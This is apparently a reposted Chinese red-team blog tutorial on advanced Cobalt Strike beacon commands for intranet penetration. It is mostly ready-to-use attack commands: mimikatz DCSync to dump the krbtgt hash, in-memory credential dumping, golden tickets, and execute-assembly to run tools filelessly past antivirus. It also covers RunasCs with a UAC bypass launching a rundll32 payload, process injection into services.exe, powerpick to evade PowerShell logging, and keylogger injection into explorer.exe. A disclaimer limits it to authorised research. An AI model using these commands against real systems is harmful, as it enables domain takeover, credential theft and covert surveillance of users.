文章总结: 文档详解CobaltStrike高级功能,涵盖利用mimikatz导出krbtgt哈希制作黄金票据、获取凭据及make_token伪造网络身份。重点介绍execute-assembly无文件执行.NET程序、runasCs绕过UAC提权、进程注入、PowerPick无进程运行PowerShell等隐蔽技术,还涉及端口扫描与键盘记录,旨在增强红队内网渗透的隐蔽性与操作效率。 综合评分: 89 文章分类: 红队,渗透测试,内网渗透,安全工具,免杀
CobaltStrike 高级用法
Ly4j Ly4j
Ly4j攻防手记
2026年1月19日 07:45 北京
介绍下CobaltStrike 中比较强大的一些beacon命令
2.1. mimikatz
- 当拥有域管权限时,导出 krbtgt 账户哈希
#mimikatz privilege::debug 当导入了票据时无需执行这个
mimikatz lsadump::dcsync /domain:<域名> /user:krbtgt
- 查看当前会话中的票据
mimikatz kerberos::list
2.2. 导出 hash
- dumphash
是从 sam 数据库里读取的,而不是内存中。所以抓取不到在线的域用户 hash
- 从内存读取
logonpasswords
2.3. make_token
make_token 用于伪造网络凭据,但不能让进程拥有本地管理员权限。
| | | | — | — | | 能力 | 是否支持 | | 访问本地文件系统 | ❌ 不支持(Error 5) | | 执行管理员操作 | ❌ 不支持 | | 像管理员一样控制本地系统 | ❌ 不支持 | | 用这些凭据访问网络共享(SMB) | ✔ 仅支持网络访问 | | 让进程伪装成管理员向远程主机发起连接 | ✔ 有用 |
make_token <域\用户名> <密码>
如下由于域用户被加入到了 192.168.10.26 的本地管理员组,这个命令会使用 test\tom 的身份 生成一个令牌,让当前 beacon 以此用户身份执行操作。然后就能直接查看 192.168.10.26 的信息
2.4. 黄金票据制作
当拥有了 krbtgt 哈希,制作黄金票据
2.5. 端口扫描
Cobalt Strike 的 portscan 主要使用 已上线的 Beacon 作为扫描代理,并采用 低噪音的 TCP 连接方式 来探测端口状态。
如果你想让已经上线的 Beacon 直接扫描另一台主机的端口,可以使用:
portscan 192.168.1.100
这会扫描目标 192.168.1.100 的常见端口,并返回结果。
如果要扫描特定端口范围,例如 1-65535,可以使用:
portscan 192.168.1.100 1-65535
对主机 192.168.10.2 端口扫描,但是不会识别到操作系统信息
在使用的 dnsbeacon 时,portscan 端口扫描不准确。开放了显示没开放。
2.6. execute-assembly 内存加载执行
execute-assembly 用于无文件落地运行 .NET 程序,它不会在磁盘上写入 exe 文件,而是直接在内存中加载并执行程序。需要目标主机安装了 .NET Framework
执行流程:
- Cobalt Strike 读取 .NET 可执行文件(EXE)
- Beacon 将 EXE 传输到目标内存
- Beacon 在当前进程中创建一个 .NET 运行环境
- Beacon 通过
Assembly.Load在内存中加载并执行 EXE - 执行结束后,不会留下落地文件
#execute-assembly 本地.exe文件路径
execute-assembly c:\users\admin\desktop\xx.exe
如下目标主机存在杀软,直接传工具上去会被杀,利用execute-assembly 在本地执行工具绕过杀软
优点:
- 无落地,不触碰磁盘,降低被检测的风险
- 直接在内存运行,避免杀软基于文件的扫描
- 适用于所有 .NET EXE(C# 开发的工具,比如
SharpHound、Rubeus等)
❌缺点:
- 仅支持 .NET EXE(不支持 C/C++/go 编写的 EXE)
- 执行环境受限制,必须在 .NET 兼容的环境中运行
- 可能触发 EDR/AV 监控,因为很多 EDR 会拦截 内存加载的 .NET Assembly
2.6.1. runasCs
RunasCs 是一款 C# 编写的 Windows 权限提升 / 令牌伪造工具(Token Manipulation Tool),主要用于在本地系统中“以其它用户身份执行命令”,与 Windows 自带的 runas.exe 类似,但功能更强大
项目:https://github.com/antonioCoco/runasCs
当我们以普通用户上线了 cs,我们已知了一个管理员账号密码。我们想让以管理员权限上线一个 beacon,可以通过使用RunasCs 实现
- 执行命令
execute-assembly C:\Users\admin\Desktop\RunasCs\runasCs.exe 指定账号 密码 "执行的命令"
execute-assembly C:\Users\admin\Desktop\RunasCs\runasCs.exe Administrator 123.com "rundll32 C:\ProgramData\Microsoft\DeviceSync\SystemSettings.bin,dllmain"
- 以 administrator 权限执行,并回显命令结果
这里 admin 是管理员组账号,但不是 administrator 账号,所以权限是有限制的,还需要绕过 UAC 提权为真正的管理员
execute-assembly C:\Users\admin\Desktop\RunasCs\runasCs.exe admin 123.com --logon-type 8 --bypass-uac "cmd /c dir c:\users\administrator"
- –logon-type 8 让 RunasCs 用管理员凭据创建一个“真正的登录 token”。
2.7. 进程注入
选择要注入的进程 services.exe,点击 Inject,然后选择监听器。免杀绕过 defender 上线后,进程注入操作未被拦截。
2.8. powershell-import
powershell-import 命令会导入本地 PowerShell 脚本到 Beacon 的内存中,然后调用目标的 powershell.exe 进程并执行导入的脚本。
powershell-import 本地xx.ps1文件
powershell command
案例 1:
本地 split.ps1 文件如下,用于将目标机器上的 base.dat 文件分割为 10 个小文件
$file = "E:\MariaDB 10.2\data\test\base.dat"
$splitSize = [math]::Ceiling((Get-Item $file).Length / 10)
$stream = [System.IO.File]::OpenRead($file)
$buffer = New-Object byte[] $splitSize
for ($i = 1; $i -le 10; $i++) {
$bytesRead = $stream.Read($buffer, 0, $splitSize)
[System.IO.File]::WriteAllBytes("$file.part$i", $buffer[0..($bytesRead-1)])
}
$stream.Close()
然后执行
powershell-import c:\users\admin\desktop\split.ps1
powershell "split.ps1"
2.9. powerpick
powerpick 是 Cobalt Strike(CS) 内置的 无进程(Unmanaged)PowerShell 执行方式,不会启动 powershell.exe 进程,从而绕过 Windows 事件日志、AV/EDR 监控。适用于执行单条或多条 powershell 命令。
特点:
- 🔹不调用
powershell.exe→ 代码在beacon进程中运行,不会触发基于进程的检测。 - 🔹直接执行 PowerShell 代码 → 适用于执行单条 PowerShell 命令。无法执行复杂的 PowerShell 脚本。
- 🔹使用 .NET
System.Management.Automation库 → 通过 C# 执行 PowerShell 代码,而不是通过powershell.exe进程。 - 🔹适用于 Windows 7 及以上系统,兼容 Windows Server 2008 R2+。
需要执行如下单条 powershell 命令,用于将目标机器上的 2.exe 文件分割为 10 个小文件
$file = "C:\Users\Administrator\Desktop\2.exe"; $splitSize = [math]::Ceiling((Get-Item $file).Length / 10); $stream = [System.IO.File]::OpenRead($file); $buffer = New-Object byte[] $splitSize; for ($i = 1; $i -le 10; $i++) { $bytesRead = $stream.Read($buffer, 0, $splitSize); [System.IO.File]::WriteAllBytes("$file.part$i", $buffer[0..($bytesRead-1)]) }; $stream.Close()
在 beacon 中执行,只需要在命令最前面加 powerpick 即可
powerpick "$file = 'C:\Users\Administrator\Desktop\2.exe'; $splitSize = [math]::Ceiling((Get-Item $file).Length / 10); $stream = [System.IO.File]::OpenRead($file); $buffer = New-Object byte[] $splitSize; for ($i = 1; $i -le 10; $i++) { $bytesRead = $stream.Read($buffer, 0, $splitSize); [System.IO.File]::WriteAllBytes('$file.part$i', $buffer[0..($bytesRead-1)]) }; $stream.Close()"
目标机器上不会启动任何 powershelll 进程
如果不行的话执行
shell powershell命令
2.10. 显示目标机器的时间
显示目标机器的当前时间(小时和分钟)。
shell time /t
2.11. 键盘记录
- 启动键盘记录
使用 keylogger 命令,在目标进程中注入键盘记录器:
keylogger [进程pid] [x86|x64]
这里推荐选择 explorer.exe 进程进行注入,因为它通常是持久运行的用户进程,能更隐蔽地收集输入数据。获取 explorer.exe 进程的 pid。
- 当目标用户在机器上进行键盘输入时,Cobalt Strike 的 Beacon 将记录目标系统的所有键盘输入(包括 cmd、应用程序、网页等)。
可以捕获目标系统上的所有键盘输入
- 关闭键盘记录器,键盘记录器不会自动停止,需要手动结束
jobs
kill 对应进程PID
注意:当用户 RDP 到当前机器时,无法捕获输入的 rdp 密码。RDP 登录时,Windows 采用 “Winlogon” 进程 处理登录凭据,而 Cobalt Strike 的 Keylogger 只能记录用户会话下的按键输入,无法直接记录安全桌面输入。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Ly4j攻防手记 Ly4j Ly4j《CobaltStrike 高级用法》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。






![[0119]一周重点情报汇总|天际友盟情报站](/images/random/titlepic/11.jpg)



评论